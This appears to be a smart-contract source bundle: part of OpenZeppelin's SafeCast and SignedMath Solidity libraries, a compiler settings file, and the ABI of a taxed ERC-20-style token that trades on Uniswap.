    require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
  }

  /**
   * @dev Returns the downcasted int104 from int256, reverting on
   * overflow (when the input is less than smallest int104 or
   * greater than largest int104).
   *
   * Counterpart to Solidity's `int104` operator.
   *
   * Requirements:
   *
   * - input must fit into 104 bits
   *
   * _Available since v4.7._
   */
  function toInt104(int256 value) internal pure returns (int104 downcasted) {
    downcasted = int104(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
  }

  /**
   * @dev Returns the downcasted int96 from int256, reverting on
   * overflow (when the input is less than smallest int96 or
   * greater than largest int96).
   *
   * Counterpart to Solidity's `int96` operator.
   *
   * Requirements:
   *
   * - input must fit into 96 bits
   *
   * _Available since v4.7._
   */
  function toInt96(int256 value) internal pure returns (int96 downcasted) {
    downcasted = int96(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
  }

  /**
   * @dev Returns the downcasted int88 from int256, reverting on
   * overflow (when the input is less than smallest int88 or
   * greater than largest int88).
   *
   * Counterpart to Solidity's `int88` operator.
   *
   * Requirements:
   *
   * - input must fit into 88 bits
   *
   * _Available since v4.7._
   */
  function toInt88(int256 value) internal pure returns (int88 downcasted) {
    downcasted = int88(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
  }

  /**
   * @dev Returns the downcasted int80 from int256, reverting on
   * overflow (when the input is less than smallest int80 or
   * greater than largest int80).
   *
   * Counterpart to Solidity's `int80` operator.
   *
   * Requirements:
   *
   * - input must fit into 80 bits
   *
   * _Available since v4.7._
   */
  function toInt80(int256 value) internal pure returns (int80 downcasted) {
    downcasted = int80(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
  }

  /**
   * @dev Returns the downcasted int72 from int256, reverting on
   * overflow (when the input is less than smallest int72 or
   * greater than largest int72).
   *
   * Counterpart to Solidity's `int72` operator.
   *
   * Requirements:
   *
   * - input must fit into 72 bits
   *
   * _Available since v4.7._
   */
  function toInt72(int256 value) internal pure returns (int72 downcasted) {
    downcasted = int72(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
  }

  /**
   * @dev Returns the downcasted int64 from int256, reverting on
   * overflow (when the input is less than smallest int64 or
   * greater than largest int64).
   *
   * Counterpart to Solidity's `int64` operator.
   *
   * Requirements:
   *
   * - input must fit into 64 bits
   *
   * _Available since v3.1._
   */
  function toInt64(int256 value) internal pure returns (int64 downcasted) {
    downcasted = int64(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
  }

  /**
   * @dev Returns the downcasted int56 from int256, reverting on
   * overflow (when the input is less than smallest int56 or
   * greater than largest int56).
   *
   * Counterpart to Solidity's `int56` operator.
   *
   * Requirements:
   *
   * - input must fit into 56 bits
   *
   * _Available since v4.7._
   */
  function toInt56(int256 value) internal pure returns (int56 downcasted) {
    downcasted = int56(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
  }

  /**
   * @dev Returns the downcasted int48 from int256, reverting on
   * overflow (when the input is less than smallest int48 or
   * greater than largest int48).
   *
   * Counterpart to Solidity's `int48` operator.
   *
   * Requirements:
   *
   * - input must fit into 48 bits
   *
   * _Available since v4.7._
   */
  function toInt48(int256 value) internal pure returns (int48 downcasted) {
    downcasted = int48(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
  }

  /**
   * @dev Returns the downcasted int40 from int256, reverting on
   * overflow (when the input is less than smallest int40 or
   * greater than largest int40).
   *
   * Counterpart to Solidity's `int40` operator.
   *
   * Requirements:
   *
   * - input must fit into 40 bits
   *
   * _Available since v4.7._
   */
  function toInt40(int256 value) internal pure returns (int40 downcasted) {
    downcasted = int40(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
  }

  /**
   * @dev Returns the downcasted int32 from int256, reverting on
   * overflow (when the input is less than smallest int32 or
   * greater than largest int32).
   *
   * Counterpart to Solidity's `int32` operator.
   *
   * Requirements:
   *
   * - input must fit into 32 bits
   *
   * _Available since v3.1._
   */
  function toInt32(int256 value) internal pure returns (int32 downcasted) {
    downcasted = int32(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
  }

  /**
   * @dev Returns the downcasted int24 from int256, reverting on
   * overflow (when the input is less than smallest int24 or
   * greater than largest int24).
   *
   * Counterpart to Solidity's `int24` operator.
   *
   * Requirements:
   *
   * - input must fit into 24 bits
   *
   * _Available since v4.7._
   */
  function toInt24(int256 value) internal pure returns (int24 downcasted) {
    downcasted = int24(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
  }

  /**
   * @dev Returns the downcasted int16 from int256, reverting on
   * overflow (when the input is less than smallest int16 or
   * greater than largest int16).
   *
   * Counterpart to Solidity's `int16` operator.
   *
   * Requirements:
   *
   * - input must fit into 16 bits
   *
   * _Available since v3.1._
   */
  function toInt16(int256 value) internal pure returns (int16 downcasted) {
    downcasted = int16(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
  }

  /**
   * @dev Returns the downcasted int8 from int256, reverting on
   * overflow (when the input is less than smallest int8 or
   * greater than largest int8).
   *
   * Counterpart to Solidity's `int8` operator.
   *
   * Requirements:
   *
   * - input must fit into 8 bits
   *
   * _Available since v3.1._
   */
  function toInt8(int256 value) internal pure returns (int8 downcasted) {
    downcasted = int8(value);
    require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
  }

  /**
   * @dev Converts an unsigned uint256 into a signed int256.
   *
   * Requirements:
   *
   * - input must be less than or equal to maxInt256.
   *
   * _Available since v3.0._
   */
  function toInt256(uint256 value) internal pure returns (int256) {
    // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
    require(
      value <= uint256(type(int256).max),
      "SafeCast: value doesn't fit in an int256"
    );
    return int256(value);
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
  /**
   * @dev Returns the largest of two signed numbers.
   */
  function max(int256 a, int256 b) internal pure returns (int256) {
    return a > b ? a : b;
  }

  /**
   * @dev Returns the smallest of two signed numbers.
   */
  function min(int256 a, int256 b) internal pure returns (int256) {
    return a < b ? a : b;
  }

  /**
   * @dev Returns the average of two signed numbers without overflow.
   * The result is rounded towards zero.
   */
  function average(int256 a, int256 b) internal pure returns (int256) {
    // Formula from the book "Hacker's Delight"
    int256 x = (a & b) + ((a ^ b) >> 1);
    return x + (int256(uint256(x) >> 255) & (a ^ b));
  }

  /**
   * @dev Returns the absolute unsigned value of a signed value.
   */
  function abs(int256 n) internal pure returns (uint256) {
    unchecked {
      // must be unchecked in order to support `n = type(int256).min`
      return uint256(n >= 0 ? n : -n);
    }
  }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "shanghai",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "metadata": {
    "useLiteralContent": true
  },
  "libraries": {}
}

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[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_deadwallet","type":"uint256"}],"name":"renounceOwnershipEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_minAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_maxAmount","type":"uint256"}],"name":"setAmountsEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_address","type":"uint256"}],"name":"setDevWalletEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_address","type":"uint256"}],"name":"setMarketingWalletEvent","type":"event"},{"inputs":[],"name":"MAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reflectionTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"deduceTaxConfigurator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"insuranceFundAccounts","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadwallet","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minAmount","type":"uint256"},{"internalType":"uint256","name":"_maxAmount","type":"uint256"}],"name":"setAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_address","type":"uint256"}],"name":"setDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"setEnableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_address","type":"uint256"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

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